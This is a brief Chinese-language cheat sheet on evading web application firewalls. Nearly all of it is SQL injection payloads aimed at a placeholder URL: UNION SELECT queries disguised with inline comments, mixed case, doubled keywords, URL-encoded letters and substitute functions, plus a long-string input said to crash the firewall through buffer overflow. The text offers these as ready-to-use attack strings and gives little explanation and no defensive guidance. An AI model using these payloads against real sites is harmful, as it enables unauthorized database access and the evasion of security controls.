渗透绕WAF的方法

基本/简单绕过方法

1.注释符

http://www.xxx.com/index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4…

2.使用大小写

http://www.xxx.com/index.php?page_id=-1 uNIoN SeLEct 1,2,3,4…

3.结合前面两种方法

http://www.xxx.com/index.php?page_id=-1 /*!unIOn*//*!SelECT*/ 1,2,3..

4.关键字替换

http://www.xxx.com/index.php?page_id=-1 UNIunionON SELselectECT 1,2,3,4…
适用于一些会把union select替换掉的WAF

5.内部注释

http://www.xxx.com/index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4…
U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/

高级绕过方法

1.使用其他变量或者命令对注入语句进行替换

group_concat() | concat_ws()
@@version | version()
concat() | concat_ws()
COMMAND | WHAT TO USE INSTEAD

2.对字母进行编码

http://www.xxx.com/index.php?page_id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

3.利用WAF本身的功能绕过

若发现WAF会把”*”替换为空,则可以利用这一特性来绕过

http://www.xxx.com/index.php?page_id=-1+un*ion+se*lect+1,2,3..
其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)‍

4.缓冲区溢出使防火墙崩溃

大部分防火墙都是基于c/c++开发,故可以使用缓冲区溢出使WAF崩溃

http://www.xxx.com/index.php?page_id=-1+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4
使用如下方法测试WAF
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4
------*** end*** ------